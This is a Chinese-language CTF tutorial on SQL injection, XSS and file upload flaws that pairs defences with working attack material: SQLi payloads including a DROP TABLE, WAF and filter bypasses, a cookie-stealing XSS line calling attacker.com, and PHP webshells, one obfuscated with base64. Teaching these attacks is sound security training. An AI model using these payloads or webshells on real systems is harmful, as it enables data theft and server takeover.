Web 安全 CTF:SQLi、XSS 与文件上传

FreeGuideOnline 最新 2026-06-19

Web 安全 CTF 从入门到实战:SQLi、XSS 与文件上传漏洞完全指南

本教程面向网络安全初学者,聚焦 CTF(Capture The Flag)竞赛中最常见的三大 Web 漏洞类型:SQL 注入(SQLi)、跨站脚本(XSS)与文件上传。你将理解每种漏洞的原理、攻击手法、防御措施,并掌握在 CTF 环境中快速解题的思路。


1. SQL 注入 (SQLi)

1.1 什么是 SQL 注入?

当应用程序将用户输入直接拼接到 SQL 查询语句中,而未做充分过滤或参数化处理时,攻击者可通过构造恶意输入篡改查询逻辑,从而非法读取、篡改甚至删除数据库数据。

典型漏洞代码 (PHP + MySQL):

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);

1.2 SQLi 分类

  • 联合查询注入 (Union Based) 利用 UNION SELECT 将攻击者自定义的查询结果附加到原查询结果中,常用来读取其他表的数据。

    ?id=1 UNION SELECT 1, username, password FROM users --
    
  • 报错注入 (Error Based) 构造特殊输入触发数据库报错,将敏感数据暴露在错误信息中。

    ?id=1 AND updatexml(1, concat(0x7e, database()), 1)
    
  • 布尔盲注 (Boolean Based Blind) 根据页面返回真假状态的差异逐位推断数据。

    ?id=1 AND ASCII(SUBSTRING((SELECT database()),1,1)) > 100
    
  • 时间盲注 (Time Based Blind) 利用数据库延迟函数(如 SLEEP)判断条件是否成立。

    ?id=1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100, SLEEP(5), 0)
    
  • 堆叠注入 (Stacked Queries) 使用分号分隔多条 SQL 语句,同时执行,常被用于执行系统命令(如 SQL Server 的 xp_cmdshell)。

    ?id=1; DROP TABLE users --
    

1.3 CTF 中的 SQLi 解题思路

  1. 判断注入点:单引号、双引号、数值型测试,观察报错或异常。
  2. 判断数据库类型:MySQL 通常用 @@version,SQL Server 用 @@VERSION,Oracle 用 SELECT banner FROM v$version
  3. 确定列数:使用 ORDER BY nUNION SELECT 1,2,...n 逐步测试。
  4. 获取数据库名SELECT schema_name FROM information_schema.schemata (MySQL)
  5. 获取表名SELECT table_name FROM information_schema.tables WHERE table_schema='库名'
  6. 获取字段名SELECT column_name FROM information_schema.columns WHERE table_name='表名'
  7. 提取数据:构造 UNION SELECT 或利用盲注函数逐位读取。
  8. 遇到过滤:使用大小写混合、双写绕过、注释符替代空格(/**/)、URL 编码等技巧。

实战提示:遇到 WAF 时,可尝试 http 参数污染(HPP)、分块传输、内联注释(/*!50000SELECT*/)等高级技巧。

1.4 防御 SQL 注入

  • 参数化查询 (Prepared Statements):分离代码与数据,是目前最有效的防御手段。
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
    $stmt->execute(['id' => $id]);
    
  • 输入验证与白名单:对参数类型、长度、格式进行严格校验。
  • 最小权限原则:数据库账户只授予必要权限,禁用危险函数(如 xp_cmdshell)。
  • 关闭详细错误回显:生产环境不向前端暴露数据库报错。

2. 跨站脚本 (XSS)

2.1 XSS 漏洞原理

XSS 攻击指攻击者将恶意脚本注入到正常网页中,当其他用户浏览该页面时,脚本在其浏览器中执行,从而窃取 Cookie、会话令牌、重定向用户或篡改页面内容。

根本原因:Web 应用对用户输入输出时未进行恰当的转义或编码。

2.2 XSS 类型

  • 反射型 XSS 恶意脚本通过 URL 参数等方式直接提交,服务端未经处理就响应并显示在页面中,需要诱骗用户点击链接。

    http://example.com/search?q=<script>alert(1)</script>
    
  • 存储型 XSS 恶意脚本被永久保存到服务器(如留言板、个人资料),每当其他用户访问该页面时脚本自动执行,危害更大。

  • DOM 型 XSS 整个攻击仅发生在客户端,由 JavaScript 动态获取被污染的数据并写入 DOM,不经过服务端。

    // 不安全的写法
    var hash = location.hash;
    document.getElementById("content").innerHTML = hash.substring(1);
    

2.3 XSS 利用与绕过

  • 基本载荷 (Payload)

    <script>fetch('http://attacker.com/?cookie='+document.cookie)</script>
    
  • 绕过常见过滤

    • 大小写混淆:<ScRiPt>
    • 使用其他标签:<img src=x onerror=alert(1)>
    • 利用 HTML 实体编码:&#x27;
    • 使用 evalString.fromCharCode 动态构造。
    • 突破长度限制:<svg/onload=eval(name)> 利用 window.name 传参。
  • 常见 CTF 场景:劫持管理员 Cookie 获取 flag、构造钓鱼页面窃取密码、利用 XSS 修改页面内容绕过检查。

2.4 XSS 防御措施

  • 输出编码:在 HTML 上下文使用 HTML 实体编码;在 JavaScript 上下文使用 \xHH\uHHHH 编码;在 URL 中使用 encodeURIComponent()
  • 内容安全策略 (CSP):通过 HTTP 头部限制可执行的脚本来源。
    Content-Security-Policy: script-src 'self';
    
  • HttpOnly Cookie:禁止 JavaScript 读取 Cookie,大幅减低 XSS 的危害。
  • 输入过滤:白名单允许的标签和属性,例如使用 DOMPurify 清理 HTML。

3. 文件上传漏洞

3.1 漏洞成因

若服务器未对用户上传的文件类型、内容、大小等做严格校验,攻击者可上传恶意脚本(如 WebShell)并进一步控制服务器。

3.2 常见绕过技巧

  • 前端绕过:禁用 JavaScript 或直接使用 Burp Suite 拦截修改请求。
  • MIME 类型绕过:修改 Content-Type: image/jpeg
  • 文件扩展名绕过
    • 大小写:shell.pHp
    • 双写:shell.pphphp
    • 空格与点:shell.php.shell.php .(Windows 特性)
    • 利用解析差异:.php;.jpg.php%00.jpg (Null Byte 截断,已过时)
    • 上传 .htaccess (Apache) 重写规则使图片文件被解析为 PHP。
  • 内容检测绕过:在图片文件尾部或 exif 注释中嵌入 PHP 代码,配合文件包含漏洞执行。
    echo '<?php system($_GET["cmd"]);?>' >> shell.jpg
    
  • 条件竞争:利用服务端先保存后检查的时间窗口,在检查未通过之前快速访问文件触发执行。

3.3 WebShell 基础

最简单的 PHP 一句话木马:

<?php @eval($_POST['pass']); ?>

可通过 POST 请求传入 pass=phpinfo(); 执行任意 PHP 代码。

更隐蔽的变种:

<?php
$a = base64_decode('c3lzdGVt');
$a($_GET['cmd']);
?>

3.4 CTF 实战思路

  1. 测试上传点,尝试上传正常文件观察返回路径。
  2. 逐步尝试扩展名绕过、MIME 绕过,检查是否允许 .phtml, .pht, .php3, .inc 等可解析扩展名。
  3. 若存在文件包含漏洞,可直接上传图片马并包含执行。
  4. 若目标为 Linux,可结合 .user.ini 等配置文件实现代码执行。

3.5 防御文件上传漏洞

  • 白名单验证扩展名:仅允许安全的扩展名列表(如 jpg, png, pdf)。
  • 重命名文件:使用随机字符串加安全扩展名,避免保留原始文件名。
  • 内容校验:使用文件头幻数检查(如 FF D8 为 JPEG),但需注意可伪造。
  • 服务器端存储位置:将上传目录设置在 Web 根目录外,或配置脚本执行权限(如 cd /uploads && chmod -x *)。
  • 文件大小限制和频次控制

4. 总结与建议

  • 主动搭建实验环境:使用 Docker 搭建 DVWA、Pikachu 或本地编写漏洞代码测试。
  • 熟练使用代理工具:Burp Suite 是 Web 安全必备,拦截、重放、爆破功能必须熟悉。
  • 学习绕过技巧:CTF 题目往往带过滤,需积累各类绕过姿势。
  • 组合漏洞意识:文件上传常与文件包含、SQLi 与 SSRF 等组合命题,需掌握关联利用。
  • 阅读源代码:遇到白盒或审计类题目,先定位输入点,追踪过滤逻辑。

最终,防御的核心是 不信任任何用户输入,对所有输入输出进行适当处理。掌握这些基础漏洞的原理与利用,是 Web 安全 CTF 入门的关键一步。